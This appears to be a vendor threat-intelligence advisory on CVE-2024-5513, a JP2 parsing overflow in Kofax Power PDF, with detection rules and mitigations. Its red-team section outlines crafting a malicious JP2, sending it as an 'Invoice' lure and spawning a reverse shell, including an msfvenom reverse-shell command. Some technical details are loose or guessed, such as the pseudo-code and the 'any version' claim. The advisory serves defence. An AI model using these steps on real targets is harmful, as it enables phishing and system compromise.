CVE-2024-5513

Executive Summary

CVE-2024-5513 is a critical remote code execution vulnerability in Kofax Power PDF, specifically within the parsing of JP2 (JPEG 2000) files. The flaw is an out-of-bounds write caused by insufficient validation of user-supplied data, allowing an attacker to write past the end of an allocated buffer. Exploitation requires user interaction—the victim must open a malicious JP2 file or visit a malicious page. With a CVSS score of 7.8, this vulnerability poses a high risk to confidentiality, integrity, and availability. No public proof-of-concept or exploit code is currently available, and no patch has been released by the vendor.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (AV:L) – The attacker must deliver the malicious file to the target system.
• Attack Complexity (AC): Low (AC:L) – No special conditions are required beyond user interaction.
• Privileges Required (PR): None (PR:N) – No authentication needed.
• User Interaction (UI): Required (UI:R) – The victim must open the file.
• Scope (S): Unchanged (S:U) – The exploit affects only the vulnerable component.
• Confidentiality (C): High (C:H) – Full data access possible.
• Integrity (I): High (I:H) – Arbitrary code execution allows data modification.
• Availability (A): High (A:H) – Code execution can lead to denial of service.

Threat Level: High – Exploitation is straightforward with user interaction, and the impact is complete system compromise.

Deep Dive & Mechanics

The vulnerability resides in the JP2 file parser of Kofax Power PDF. JP2 files are based on the JPEG 2000 standard, which uses a complex container format with boxes and markers. The specific flaw occurs when the parser processes a crafted JP2 file containing an invalid or oversized data segment. Due to the lack of proper bounds checking, the parser writes data beyond the allocated buffer, leading to a heap-based buffer overflow.

Technical Details:

• Root Cause: The parser does not validate the length of a data segment before copying it into a fixed-size buffer.
• Trigger: A specially crafted JP2 file with a manipulated box size or marker length causes the parser to write past the buffer boundary.
• Impact: The overflow corrupts adjacent heap memory, which can be leveraged to overwrite function pointers or other critical data structures, leading to arbitrary code execution in the context of the current process (Kofax Power PDF).

Attack Vector:

1. The attacker crafts a malicious JP2 file (e.g., by modifying a legitimate JP2 image).
2. The file is delivered via email, web download, or other means.
3. The victim opens the file in Kofax Power PDF.
4. The parser triggers the overflow, allowing the attacker to execute shellcode.

Vulnerable vs. Patched Code

Since no patch is available, a comparison cannot be made. However, based on the CWE-787 description, the vulnerable code likely resembles:

// Vulnerable pseudo-code
void parse_jp2_box(char *data, size_t data_len) {
    char buffer[256];
    // No bounds check
    memcpy(buffer, data, data_len); // Overflow if data_len > 256
}

A patched version would include a length check:

// Patched pseudo-code
void parse_jp2_box(char *data, size_t data_len) {
    char buffer[256];
    if (data_len > sizeof(buffer)) {
        // Handle error
        return;
    }
    memcpy(buffer, data, data_len);
}

Exploitation & Lab Setup

Red Team

Objective: Achieve remote code execution on a target running Kofax Power PDF.

Prerequisites:

• Kofax Power PDF (any version)
• A crafted JP2 file

Steps:

1. Craft the Malicious JP2 File:

   • Use a hex editor to modify a legitimate JP2 file.
   • Overwrite a box length field with a value larger than the actual data, causing the parser to read beyond the buffer.
   • Append shellcode (e.g., a reverse shell) to the file, ensuring it lands in the overflowed region.

2. Deliver the File:

   • Email the file with a convincing subject (e.g., "Invoice").
   • Host the file on a website and trick the user into downloading it.

3. Trigger the Exploit:

   • The victim opens the file in Kofax Power PDF.
   • The overflow executes the shellcode, spawning a reverse shell.

Example Shellcode (x64 Windows):

; Reverse shell shellcode (placeholder)
; Use msfvenom to generate: msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw

Lab Setup:

• Attacker Machine: Kali Linux with Metasploit.
• Victim Machine: Windows 10 with Kofax Power PDF installed.
• Network: Isolated lab network.

Blue Team

Detection:

• Monitor for unusual JP2 file activity (e.g., large files, unexpected downloads).
• Use endpoint detection and response (EDR) tools to detect heap-based buffer overflows.
• Analyze process memory for signs of shellcode execution.

Mitigation:

• Block JP2 files at the email gateway if not required.
• Use application whitelisting to prevent untrusted PDF viewers.
• Apply vendor patches when available.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (None available; generate upon discovery)
• Network Indicators: Outbound connections to unknown IPs on high ports (e.g., 4444).
• Process Indicators: Kofax Power PDF process (e.g., PowerPDF.exe) exhibiting abnormal memory access patterns.
• Registry Keys: (None specific)
• YARA Rule: See Detection Engineering.

Detection Engineering

YARA Rule

rule CVE_2024_5513_JP2_Overflow {
    meta:
        description = "Detects malicious JP2 files targeting CVE-2024-5513"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-5513"
    strings:
        $jp2_magic = { 00 00 00 0C 6A 50 20 20 } // JP2 file signature
        $overflow_pattern = { FF FF FF FF } // Example oversized length
    condition:
        $jp2_magic at 0 and #overflow_pattern > 0
}

Sigma Rule

title: CVE-2024-5513 JP2 File Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2024-5513 via malicious JP2 files
author: Valters IT
date: 2025-04-10
logsource:
    category: file_event
    product: windows
detection:
    selection:
        EventID: 11
        Image|endswith: '\PowerPDF.exe'
        TargetFilename|endswith: '.jp2'
    condition: selection
falsepositives:
    - Legitimate JP2 files opened by PowerPDF
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-5513 JP2 File Download Attempt"; flow:to_server; fileext:"jp2"; content:"|00 00 00 0C 6A 50 20 20|"; distance:0; within:8; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate Actions:

  • Block JP2 file attachments at email gateways.
  • Disable automatic preview of JP2 files in Kofax Power PDF.
  • Use application control to restrict execution of untrusted PDF files.

• Long-term Fix:

  • Monitor vendor for official patch; apply when available.
  • Consider using alternative PDF software that is actively maintained.

• User Awareness:

  • Train users to avoid opening unsolicited files, especially JP2 images.
  • Implement strict file download policies.

Valters IT
DevSecOps & Cyber Threat Intelligence